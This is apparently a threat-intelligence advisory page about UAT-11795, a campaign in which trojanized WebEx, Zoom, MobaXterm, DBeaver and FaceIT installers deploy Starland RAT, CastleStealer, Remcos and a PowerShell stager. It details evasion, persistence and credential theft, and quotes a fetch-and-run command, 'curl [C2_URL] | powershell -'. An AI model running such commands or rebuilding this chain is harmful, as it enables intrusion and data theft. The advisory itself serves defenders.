UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm, DBeaver, FaceIT Installers to Deploy Starland RAT and Bespoke WLDR C2 Implant — Threadlinqs Intelligence
As of 2026-07-18, UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm, DBeaver, FaceIT Installers to Deploy Starland RAT and Bespoke WLDR C2 Implant is a high-severity malware threat attributed to UAT-11795 (Russia), tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 55 indicators of compromise.
Threat ID: TL-2026-1411 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
Updated: 2026-07-18 · revalidated 1× · latest source
Attribution: UAT-11795 · Russia · FINANCIAL
A financially motivated Russian-speaking threat actor tracked as UAT-11795 has been trojanizing installers for popular software (WebEx, Zoom, MobaXterm, DBeaver, FaceIT) since at least June 2025 to
Cisco Talos and BleepingComputer disclosed a financially motivated campaign attributed to UAT-11795, a Russian-speaking threat cluster active since at least June 2025 (the actor's operational Telegram channel, "stuk komanda", was created June 5, 2025). The actor distributes trojanized installers for widely used desktop software — Cisco Webex, Zoom, MobaXterm v26.1, DBeaver Community Edition, and the FACEIT gaming/anti-cheat client — as its initial-access vector, abusing the trust users place in familiar productivity, developer, and gaming tools. Initial access begins with ClickFix-style social engineering that tricks the victim into executing a command which downloads a weaponized HTA file containing embedded VBScript (a Russian-language developer comment, "Добавление команды в автозапуск для текущего пользователя", was left in the VBScript). The VBScript drops a batch file to %APPDATA%\Local\Temp\ that retrieves the trojanized NSIS installer from staging infrastructure (eorthopaedics[.]com, sastoro[.]com, web-devtools[.]com, zynaris[.]io — several likely hijacked legitimate domains) and confirms execution via a Telegram bot notification (bot ID 8384531459, "skuefq_bot").
The installer bundles the real target software alongside a Python runtime (pythonw.exe) and a compiled Python loader disguised as LICENSE.txt, a technique intended to blend into the expected file manifest of a legitimate software package. NSIS invokes `pythonw.exe LICENSE.txt`, which XOR-decrypts (key 0xC6) an embedded payload to launch Starland RAT — a novel, in-memory Python-based remote access trojan. Starland performs sandbox/analysis-environment detection (hardcoded username/hostname blocklists including WDAGUtilityAccount, Cuckoo, Any.Run, Joe Sandbox, Hybrid Analysis; Zone.Identifier ADS checks), establishes persistence via a scheduled task (`PythonLauncher-{3 random chars}`, AtLogOn trigger, RunLevel Highest, created only if running as admin) and a Startup-folder LNK targeting pythonw.exe, attempts UAC bypass via ShellExecuteW `runas`, and also drops a Registry Run-key entry (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MyApp` → mshta.exe pointing at the original HTA). It performs extensive host/AD reconnaissance (HWID from the C: drive volume serial number, RAM via WMIC, AV products via SecurityCenter2 WMI, domain membership, `whoami`/`systeminfo`/`net user /dom`/`nltest /dclist` when domain-joined), captures a Base64-encoded PNG screenshot, enumerates 40+ desktop/browser-extension cryptocurrency wallets, and exfiltrates a consolidated JSON fingerprint (XOR key "helo1") to both a Telegram bot and its C2 over HTTP POST.
Starland's C2 protocol supports four commands — `shellexecute` (arbitrary cmd/PowerShell), `x32`/`x64` (download and APC-inject 32-bit or 64-bit shellcode), and `download` (fetch/execute EXE/MSI/DLL/ZIP) — plus an HTTP 403 kill-switch response that triggers self-deletion. The x64 shellcode path patches AmsiScanBuffer (AMSI bypass) and EtwEventWrite (ETW bypass) in memory, LZX-decompresses its payload, and reflectively loads CastleStealer, a .NET infostealer that directly reads Chromium SQLite credential stores, decrypts Firefox DPAPI/AES-GCM credentials, harvests crypto-wallet browser extensions, Discord and Telegram session files, and Steam credentials, exfiltrating over a raw TCP socket (it also excludes Russian-locale hosts and enforces a build-expiry timestamp). The x32 shellcode path uses the identical loader chain to deploy Remcos RAT, a long-abused commercial RAT providing keylogging, screen/webcam capture, audio recording, file management, shell execution, and clipboard monitoring.
Separately, Starland can pipe `curl [C2_URL] | powershell -` to fetch the WLDR stager, a previously undocumented, memory-resident PowerShell C2 framework. The WLDR stager XOR-decrypts an embedded downloader that derives the victim HWID (again from the C: volume serial number), appends it to hardcoded C2 URLs, and receives a Base64 JSON enve
Weaknesses (CWE)
CWE-506, CWE-494, CWE-311
Target regions: united states of america, germany, romania, venezuela
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 55 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
Community OSINT corroboration
1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.
MALWARE, HIGH, threat intelligence, cybersecurity, T1195.002, T1204.002, T1566, T1189, T1059.001, T1059.006, T1059.005, T1059.003, T1569.002, T1106